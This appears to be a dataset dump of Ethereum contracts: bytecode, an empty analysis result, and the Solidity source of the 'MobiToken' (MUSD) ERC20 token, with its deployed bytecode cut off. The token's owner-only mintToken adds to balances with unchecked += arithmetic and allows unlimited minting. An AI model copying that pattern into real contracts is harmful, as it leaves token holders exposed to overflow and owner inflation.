008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154019050919050565b60003373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015482111515156129f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015401905081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254039250508190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282540192505081905550600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001540181141515612baa57fe5b505050565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612c475780601f10612c1c57610100808354040283529160200191612c47565b820191906000526020600020905b815481529060010190602001808311612c2a57829003601f168201915b5050505050905090565b6000803373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612d19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b838551141515612db7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001807f4e756d626572206f662075736572732077686f2072656365697665732074686581526020017f20746f6b656e206973206e6f74206d617463680000000000000000000000000081525060400191505060405180910390fd5b6003546305f5e1000283101515612e36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f546f6f2068696768207375626d69742062616c616e636500000000000000000081525060200191505060405180910390fd5b606484101515612eae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f54776f2068696768206e756d626572206f66207573657273000000000000000081525060200191505060405180910390fd5b60086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015483850211151515612f8c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b82840260086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282540392505081905550600090505b838160ff16101561324957600060086000878460ff1681518110151561302757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541415156130e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416c726561647920757365722068617320746f6b656e0000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16858260ff1681518110151561310d57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff161415151561313a57600080fd5b8260086000878460ff1681518110151561315057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550848160ff168151811015156131ac57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38080600101915050613005565b60019150509392505050565b6000613262338484613de2565b905092915050565b6000803373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515613332576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b8260065401600654111515156133b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4f766572666c6f7700000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6006549050826006600082825401925050819055508260086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055507fd2e10d9dc4569a14d8abbffe7956a930a665b08ace4d31bbb0788875c4af705281600654604051808381526020018281526020019250505060405180910390a16001915050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050919050565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515613576576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416464726573732069732077726f6e670000000000000000000000000000000081525060200191505060405180910390fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561366a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f4e6f7420617070726f76656420756e74696c207965740000000000000000000081525060200191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561372c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e64657220696e20626c61636b6c6973740000000000000000000000000081525060200191505060405180910390fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156137ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f526563656976657220696e20626c61636b6c697374000000000000000000000081525060200191505060405180910390fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015481840111151515613929576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b808301600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613aff57508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613b0a57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515613ca0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f4e6f742061206f776e657200000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515613d87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f53656e64657220646f6573206e6f7420696e636c7564656420696e20626c616381526020017f6b6c69737400000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515613e8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416464726573732069732077726f6e670000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515613f50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4f776e657220757365732074686520707269766174655472616e73666572000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515613ff5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f416464726573732069732077726f6e670000000000000000000000000000000081525060200191505060405180910390fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156140b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f53656e64657220696e20626c61636b6c6973740000000000000000000000000081525060200191505060405180910390fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515614179576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f526563656976657220696e20626c61636b6c697374000000000000000000000081525060200191505060405180910390fd5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101548311151515614233576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f556e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b82600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015401600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411151515614331576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4f766572666c6f7700000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015401905082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254039250508190555082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a380600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101540114151561455057fe5b600191505093925050505600a165627a7a72305820c087e747f559bf9f180eab4cb804f7c606f9cb43d19c92348f03279ef3e60a9b0029 | {"success": true, "error": null, "results": {}} | 10,353 |
0x0036d418ed854a33856c838ce6cbfb257d23eb93 | pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
function getOwned() onlyOwner public view returns (address) {
return owner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken,owned {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || allowed[msg.sender][_spender]== 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mintToken( uint256 _value) onlyOwner public returns (bool) {
totalSupply_ += _value;
balances[msg.sender] += _value;
emit Transfer(0x0, msg.sender, _value);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract MobiToken is StandardToken {
string public constant name = "Mobi USD"; // solium-disable-line uppercase
string public constant symbol = "MUSD"; // solium-disable-line uppercase
uint8 public constant decimals = 8; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = (20000000) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b5780632ff2e9dc14610290578063313ce567146102bb57806366188463146102ec57806370a08231146103515780638da5cb5b146103a857806395d89b41146103ff578063a9059cbb1461048f578063c3027525146104f4578063c634d0321461054b578063d73dd62314610590578063dd62ed3e146105f5578063f2fde38b1461066c575b600080fd5b3480156100f757600080fd5b506101006106af565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e8565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561086f565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610879565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610c33565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610c44565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f857600080fd5b50610337600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c49565b604051808215151515815260200191505060405180910390f35b34801561035d57600080fd5b50610392600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eda565b6040518082815260200191505060405180910390f35b3480156103b457600080fd5b506103bd610f22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040b57600080fd5b50610414610f48565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049b57600080fd5b506104da600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f81565b604051808215151515815260200191505060405180910390f35b34801561050057600080fd5b506105096111a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055757600080fd5b5061057660048036038101908080359060200190929190505050611226565b604051808215151515815260200191505060405180910390f35b34801561059c57600080fd5b506105db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611339565b604051808215151515815260200191505060405180910390f35b34801561060157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611535565b6040518082815260200191505060405180910390f35b34801561067857600080fd5b506106ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115bc565b005b6040805190810160405280600881526020017f4d6f62692055534400000000000000000000000000000000000000000000000081525081565b60008082148061077457506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561077f57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108b657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090357600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098e57600080fd5b6109df826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165c90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a72826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4382600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165c90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a6301312d000281565b600881565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d5a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dee565b610d6d838261165c90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4d5553440000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fbe57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561100b57600080fd5b61105c826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111fe57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561128457600080fd5b81600160008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b60006113ca82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffff